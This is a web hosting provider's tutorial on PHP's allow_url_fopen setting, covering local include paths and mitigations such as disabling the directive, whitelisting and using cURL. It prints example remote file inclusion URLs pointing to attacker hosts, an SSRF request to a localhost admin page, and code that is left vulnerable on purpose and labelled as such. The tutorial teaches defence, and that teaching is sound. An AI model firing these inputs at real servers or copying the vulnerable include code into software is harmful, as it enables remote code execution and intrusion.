This tutorial will discuss the security issues with allow_url_fopen in PHP
The PHP option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. For security reasons, FASTDOT has disabled this feature; however, a feature-rich alternative exists in the form of the bundled cURL library.
Server-Side Includes
Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:
<?php include(“http://example.com/includes/example_include.php”); ?>
With allow_url_fopen
disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:
- By using a relative path, such as
../includes/example_include.php
. - By using an absolute path (also known as relative-from-root), such as
/home/username/example.com/includes/example_include.php
. - By using the PHP environment variable
$_SERVER['DOCUMENT_ROOT']
, which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:
Processing Differences (and passing variables to an included file) with allow_url_fopen
It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include()
function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a querystring using the alternative solutions. You define the variables locally before performing the include:
Example
To achieve the effect of this:
<?php include("http://yourdomain.com/includes/example_include.php?var=example"); ?>
You must instead use this:
<?php $var = "example"; include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>
Example exploitation
If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the querystring:
http://yourdomain.com/index.php?page=http://crackerscum.net/evilscript.txt
To avoid potential compromise of our customer websites, the PHP variable allow_url_fopen =off is enabled on all servers
Security Issues with allow_url_fopen
in PHP
allow_url_fopen is a PHP configuration directive that enables file-handling functions such as fopen()
, file_get_contents()
, and include()
to access remote files using URL-based wrappers (e.g., HTTP, FTP). While useful in some contexts, enabling this directive introduces serious security concerns if not handled properly.
1. What is allow_url_fopen
?
This setting determines whether PHP functions that normally operate on local files can also retrieve data from remote locations. For example:
$data = file_get_contents('http://example.com/file.txt');
When allow_url_fopen
is set to On, this line executes successfully. Otherwise, it will return an error.
2. Why is allow_url_fopen
a Security Risk?
Several attack vectors can arise when allow_url_fopen
is enabled:
2.1 Remote Code Execution (RCE)
Developers often use dynamic inclusion based on user input, which becomes a massive vulnerability when remote URLs are accepted:
include($_GET['page']);
If a user passes a remote URL, like:
?page=http://attacker.com/malicious.php
This can lead to the server executing malicious remote code, a critical exploit known as Remote File Inclusion (RFI).
2.2 Information Leakage
Malicious actors may use this feature to retrieve internal files or metadata endpoints, such as cloud service credentials or configurations.
2.3 Server-Side Request Forgery (SSRF)
If a script reads from a user-defined URL, attackers may force it to query internal systems, exposing private networks or services:
?url=http://localhost:8080/admin
3. Examples of Vulnerable Code
Below are dangerous examples when allow_url_fopen
is enabled:
// Vulnerable example
echo file_get_contents($_GET['url']);
include($_GET['template']);
4. How to Mitigate the Risks
4.1 Disable allow_url_fopen
Edit your php.ini
file:
allow_url_fopen = Off
Or in .htaccess
(if applicable):
php_flag allow_url_fopen Off
4.2 Disable allow_url_include
This is even more dangerous because it permits remote file inclusion via include()
and require()
:
allow_url_include = Off
4.3 Validate and Sanitize User Input
Use strict whitelisting instead of allowing arbitrary input:
$allowed = ['home.php', 'contact.php'];
if (in_array($_GET['template'], $allowed)) {
include($_GET['template']);
}
4.4 Use cURL or Secure HTTP Libraries
When remote access is truly needed, use cURL for better security and control:
$ch = curl_init('http://example.com/data.json');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
5. Best Practice Summary
Security Measure | Recommendation |
---|---|
allow_url_fopen | Off |
allow_url_include | Off |
Remote Requests | Use cURL or Guzzle |
Input Handling | Strict validation / whitelisting |
Code Inclusion | Never from user input |
Conclusion
The allow_url_fopen
directive, while seemingly useful, poses a serious security risk if not properly managed. Disabling it and relying on secure alternatives like cURL significantly improves application safety. Remember: secure coding and proper configuration are the first lines of defence against web application vulnerabilities.